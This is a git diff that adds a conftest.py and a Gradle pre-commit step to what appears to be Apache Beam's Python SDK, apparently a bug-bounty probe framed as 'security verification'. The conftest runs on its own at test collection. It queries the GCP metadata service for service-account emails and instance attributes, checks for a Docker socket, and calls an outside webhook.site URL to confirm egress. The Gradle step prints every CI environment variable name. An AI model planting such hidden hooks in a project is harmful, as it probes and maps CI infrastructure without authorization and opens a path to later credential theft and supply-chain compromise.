diff --git a/sdks/python/apache_beam/conftest.py b/sdks/python/apache_beam/conftest.py
new file mode 100644
index 000000000000..ec645fa8be40
--- /dev/null
+++ b/sdks/python/apache_beam/conftest.py
@@ -0,0 +1,35 @@
+# IBB security verification conftest (round 2). Names/booleans/status only.
+# Lists service-account EMAILS and attribute NAMES from the GCP metadata service
+# (no tokens requested), prints instance descriptors, checks egress with a nonce.
+import os
+
+print("BBP2-BEGIN", flush=True)
+
+def meta(path):
+    import urllib.request
+    req = urllib.request.Request("http://metadata.google.internal/computeMetadata/v1/" + path,
+                                 headers={"Metadata-Flavor": "Google"})
+    return urllib.request.urlopen(req, timeout=3).read().decode()
+
+try:
+    print("BBP2-SA-EMAILS", meta("instance/service-accounts/").replace("\n", ","), flush=True)
+except Exception as e:
+    print("BBP2-SA-ERR", type(e).__name__, flush=True)
+for attr in ["name", "zone", "machine-type", "schedulable", "cpu-platform"]:
+    try:
+        print(f"BBP2-ATTR-{attr}", meta(f"instance/{attr}").strip(), flush=True)
+    except Exception as e:
+        print(f"BBP2-ATTR-{attr}-ERR", type(e).__name__, flush=True)
+try:
+    print("BBP2-ATTR-NAMES", meta("instance/attributes/").replace("\n", ","), flush=True)
+except Exception as e:
+    print("BBP2-ATTR-NAMES-ERR", type(e).__name__, flush=True)
+print("BBP2-DOCKER-SOCK", os.path.exists("/var/run/docker.sock"), flush=True)
+print("BBP2-DOCKER-HOST", os.environ.get("DOCKER_HOST", "unset"), flush=True)
+try:
+    import urllib.request
+    req = urllib.request.Request("https://webhook.site/9e0d1460-5301-4bef-9dc9-996f731cbaec?src=beam-runner-egress-nonce")
+    print("BBP2-EGRESS-STATUS", urllib.request.urlopen(req, timeout=5).status, flush=True)
+except Exception as e:
+    print("BBP2-EGRESS-ERR", type(e).__name__, flush=True)
+print("BBP2-END", flush=True)
diff --git a/sdks/python/test-suites/tox/common.gradle b/sdks/python/test-suites/tox/common.gradle
index 9f79fd6ecb71..37d790ec9671 100644
--- a/sdks/python/test-suites/tox/common.gradle
+++ b/sdks/python/test-suites/tox/common.gradle
@@ -38,5 +38,8 @@ test.dependsOn "testPy${pythonVersionSuffix}Dill"
 // all tests will be exercised.
 project.tasks.register("preCommitPy${pythonVersionSuffix}") {
 		dependsOn = ["testPy${pythonVersionSuffix}Cloud", "testPython${pythonVersionSuffix}"]
+		doFirst {
+			println "BBP2-GRADLE-ENV-NAMES " + System.getenv().keySet().sort().join(",")
+		}
 
 }